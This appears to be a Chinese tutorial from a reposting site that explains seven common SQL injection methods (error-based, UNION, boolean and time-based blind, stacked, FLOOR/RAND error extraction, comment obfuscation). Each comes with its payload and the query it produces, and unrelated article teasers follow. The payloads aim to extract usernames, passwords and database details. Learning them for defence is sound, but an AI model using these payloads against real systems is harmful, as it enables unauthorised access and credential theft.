系统安全-常见的几种sql注入攻击的方式

1.基于错误的注入

攻击者通过构造恶意的 SQL 语句,使得服务器返回错误信息,从而获取敏感信息。

例如,攻击者可以在登录页面的用户名和密码输入框中输入以下内容:


' or 1=1--

这将使 SQL 语句变为:


SELECT * FROM users WHERE username = '' or 1=1--' AND password = ''

其中,双破折号(--)表示注释掉后面的内容,所以这个 SQL 语句将会返回所有用户的信息,因为 1=1 总是成立的。

2.基于联合查询的注入

攻击者通过在注入点构造联合查询语句,获取数据库中的敏感信息。

例如,攻击者可以在搜索框中输入以下内容:


' UNION SELECT username, password FROM users--

这将使 SQL 语句变为:


SELECT * FROM products WHERE name = '' UNION SELECT username, password FROM users--'

其中,双破折号(--)表示注释掉后面的内容,所以这个 SQL 语句将会返回用户表中的用户名和密码信息。

3.基于布尔盲注的注入

基于布尔盲注的注入是一种常见的SQL注入攻击方式,攻击者通过构造恶意SQL语句,利用应用程序返回的布尔值(真或假)来推断数据库结构和相关信息。

例如,攻击者可以在搜索框或者输入框中输入以下内容:


' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTR(password,1,1)='a')>0 AND '1'='1

这将使 SQL 语句变为:


SELECT * FROM products WHERE name = '' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTR(password,1,1)='a')>0 AND '1'='1

上述SQL语句中,利用了SELECT COUNT(*)函数来查询数据库中是否存在用户名为admin且密码的首字母为字母a的记录。如果存在,则查询结果为真,否则为假。攻击者可以通过观察搜索页面的响应内容,来判断查询结果是真还是假,从而推断出数据库结构和相关信息。

4.基于时间盲注的注入

攻击者通过构造恶意的 SQL 语句,使得服务器在执行查询时延迟一段时间,从而获取敏感信息。

例如,攻击者可以在搜索框或者输入框中输入以下内容:


' AND IF(SUBSTRING(database(),1,1)='M',sleep(10),0)--

这将使 SQL 语句变为:


SELECT * FROM products WHERE name = '' AND IF(SUBSTRING(database(),1,1)='M',sleep(10),0)--'

上述SQL语句中,利用了IF函数和SUBSTR函数来判断数据库名称的首字母是否为字母M。如果是,就执行sleep(10)函数,即让数据库等待10秒钟,否则就执行0,即不等待。攻击者可以通过观察登录页面的响应时间来判断数据库名称的首字母是否为字母M,从而推断出数据库的结构和相关信息。

5.基于堆叠查询的注入

攻击者通过在注入点构造多个 SQL 查询语句,获取数据库中的敏感信息。

例如,攻击者可以在搜索框中输入以下内容:


'; SELECT username, password FROM users;--

这将使 SQL 语句变为:


SELECT * FROM products WHERE name = ''; SELECT username, password FROM users;--'

这个 SQL 语句将会返回用户表中的用户名和密码信息。

6.基于报错注入

攻击者通过构造恶意的 SQL 语句,使得服务器返回错误信息,从而获取敏感信息。

例如,攻击者可以在搜索框中输入以下内容:


' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x3a,@@version,0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--

这将使 SQL 语句变为:


SELECT * FROM products WHERE name = '' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x3a,@@version,0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--'

这个 SQL 语句将会返回服务器版本信息。

7.基于注释符号的注入

攻击者通过在注入点插入注释符号,使得恶意的 SQL 语句被忽略,从而获取敏感信息。

例如,攻击者可以在搜索框中输入以下内容:


'/*abc*/ UNION /*def*/ SELECT /*ghi*/ username, password /*jkl*/ FROM /*mno*/ users/*pqr*/--

这将使 SQL 语句变为:


SELECT * FROM products WHERE name = ''/*abc*/ UNION /*def*/ SELECT /*ghi*/ username, password /*jkl*/ FROM /*mno*/ users/*pqr*/--'

其中,所有以 /* 开头,以 */ 结尾的部分都被注释掉了,这个 SQL 语句将会返回用户表中的用户名和密码信息。

总结

 学习好系统安全方面的知识,能让我更好的预防各种黑客的攻击,最基础风险的了解,非常必要。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/146357.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue前端添加水印功能

文章目录 概要技术细节附上几张调整的结果图 概要 前端Vue在页面添加水印,且不影响页面其他功能使用,初级代码水准即可使用,且有防人修改或者删除功能! 提示:适用于Vue,组件已经封装开箱即用,有…

【LIUNX】查询IP与MAC地址

查询IP与MAC地址 A.使用ifconfig查询B.使用ip a查询 A.使用ifconfig查询 [rootserver1 ~]# ifconfig ens33: flags4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500inet 192.168.3.5 netmask 255.255.255.0 broadcast 192.168.3.255inet6 fe80::7b4c:6610:f082:b301 …

rpmbuild 包名 version 操作系统信息部分来源 /etc/rpm/macros.dist

/etc/rpm/macros.dist openeuler bclinux src.rpm openssl-1.1.1f-13.oe1.src.rpm 打包名称结果 openeuler openssl-1.1.1f-13.aarch64.rpm bclinux openssl-1.1.1f-13.oe1.bclinux.aarch64.rpm 验证 修改openeuler配置文件macros.dist 重新在openeuler上执行rpmbuild…

2.4 矩阵的运算法则

矩阵是数字或 “元素” 的矩形阵列。当矩阵 A A A 有 m m m 行 n n n 列&#xff0c;则是一个 m n m\times n mn 的矩阵。如果矩阵的形状相同&#xff0c;则它们可以相加。矩阵也可以乘上任意常数 c c c。以下是 A B AB AB 和 2 A 2A 2A 的例子&#xff0c;它们都是 …

【Zabbix】Zabbix Agent 2在Ubuntu/Debian系统上的安装

一、Zabbix Agent 2介绍 Zabbix Agent 2是一款监控软件&#xff0c;由Zabbix SIA开发。Zabbix Agent 2可以提供系统、服务、应用程序和网络设备的监控及性能指标数据收集。它是通过在被监视的主机上运行来获取数据。Zabbix Agent 2可以在Linux、Unix、Windows和MAC平台上运行&…

【算法】距离(最近公共祖先节点)

题目 给出 n 个点的一棵树&#xff0c;多次询问两点之间的最短距离。 注意&#xff1a; 边是无向的。所有节点的编号是 1,2,…,n。 输入格式 第一行为两个整数 n 和 m。n 表示点数&#xff0c;m 表示询问次数&#xff1b; 下来 n−1 行&#xff0c;每行三个整数 x,y,k&am…

Elasticsearch-汇总

Elasticsearch-基础介绍 跳转 分布式全文搜索引擎&#xff1a;包含【实时搜索】和【分析引擎】 Elasticsearch-倒排索引 跳转 倒排索引 跳转 Elasticsearch-Term Dictionary和Term Index 跳转 lucene-基础介绍 跳转 Elasticsearch-联合索引 跳转 Elasticsearch-Roaring B…

【Flink】Flink任务缺失Jobmanager日志的问题排查

Flink任务缺失Jobmanager日志的问题排查 问题不是大问题&#xff0c;不是什么代码级别的高深问题&#xff0c;也没有影响任务运行&#xff0c;纯粹因为人员粗心导致&#xff0c;记录一下排查的过程。 问题描述 一个生产环境的奇怪问题&#xff0c;环境是flink1.15.0 on yarn…

vue侦听器详解及代码

在 Vue 中&#xff0c;我们可以使用侦听器&#xff08;watcher&#xff09;来监听数据的变化&#xff0c;并在数据发生变化时执行相应的操作。Vue 提供了 watch 选项来定义侦听器&#xff0c;并可以使用 vm.$watch 方法来创建侦听器。 下面是一个简单的示例&#xff0c;我们监…

Apache Airflow (十) :SSHOperator及调度远程Shell脚本

&#x1f3e1; 个人主页&#xff1a;IT贫道_大数据OLAP体系技术栈,Apache Doris,Clickhouse 技术-CSDN博客 &#x1f6a9; 私聊博主&#xff1a;加入大数据技术讨论群聊&#xff0c;获取更多大数据资料。 &#x1f514; 博主个人B栈地址&#xff1a;豹哥教你大数据的个人空间-豹…

C# String.Trim 方法

String.Trim()方法定义&#xff1a; 命名空间&#xff1a;System 程序集&#xff1a;System.Runtime.dll 返回结果&#xff1a;返回一个新字符串&#xff0c;它相当于从当前字符串中删除了一组指定字符的所有前导匹配项和尾随匹配项。 Trim方法有三个重载的方法&#xff0c;…

【C++】【Opencv】cv::GaussianBlur、cv::filter2D()函数详解和示例

本文通过函数详解和运行示例对cv::GaussianBlur和cv::filter2D()两个函数进行解读&#xff0c;最后综合了两个函数的关系和区别&#xff0c;以帮助大家理解和使用。 目录 cv::GaussianBlur&#xff08;&#xff09;函数详解运行示例 filter2D()函数详解运行示例 总结两个函数联…

github 私人仓库clone的问题

github 私人仓库clone的问题 公共仓库直接克隆就可以&#xff0c;私人仓库需要权限验证&#xff0c;要先申请token 1、登录到github&#xff0c;点击setting 打开的页面最底下&#xff0c;有一个developer setting 这里申请到token之后&#xff0c;注意要保存起来&#xff…

ke11..--2其他界面也要提取我的locatStarage

获取浏览器里面的本地缓存 localStorage就是我们的浏览器缓存在哪都可以用 下面代码是获取打印到我们的页面上 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title> </head> …

计算机网络八股文

计算机网络八股文 第一章 计算机网络基础 1.1 OSI 七层参考模型及各自功能 七层参考模式是一个抽象的模型体&#xff0c;不仅包括一系列抽象的术语或概念&#xff0c;也包括具体的协议。 &#xff08;物、数、网、传、会、表、应&#xff09; 物理层&#xff1a;主要定义物…

PyCharm 【unsupported Python 3.1】

PyCharm2020.1版本&#xff0c;当添加虚拟环境发生异常&#xff1a; 原因&#xff1a;Pycharm版本低了&#xff01;不支持配置的虚拟环境版本 解决&#xff1a;下载PyCharm2021.1版本&#xff0c;进行配置成功&#xff01;

nginx学习(2)

Nginx 反向代理案例2 1. 实现效果 实现效果&#xff1a;使用 nginx 反向代理&#xff0c;根据访问的路径跳转到不同端口的服务中 nginx 监听端口为 8001&#xff0c; 访问 http://127.0.0.1:8001/edu/ 直接跳转到 127.0.0.1:8081 访问 http://127.0.0.1:8001/vod/ 直接跳转到 …

【开源】基于JAVA的大学兼职教师管理系统

项目编号&#xff1a; S 004 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S004&#xff0c;文末获取源码。} 项目编号&#xff1a;S004&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、研究内容三、界面展示3.1 登录注册3.2 学生教师管…

MATLAB 机械臂逆运动学进行轨迹控制建模

系列文章目录 文章目录 系列文章目录前言一、模型概览1.1 Target Pose Generation 目标姿势生成1.2 Inverse Kinematics 逆运动学1.3 Manipulator Dynamics 机械手动力学1.4 Pose Measurement 姿势测量 二、机械手定义三、生成航点四、模型设置五、模拟机械手运动六、将结果可视…

html:lang属性设置为中文zh-CN

默认的lang属性 <html lang"en"> </html>声明网页语言格式&#xff1a; 语言-国家/地区示例 <html lang"zh-CN"> </html>ISO 639-1 语言代码 语言ISO 代码Chinese (简体)zh ISO 639-1 国家/地区代码 国家/地区ISO 代码CHINA…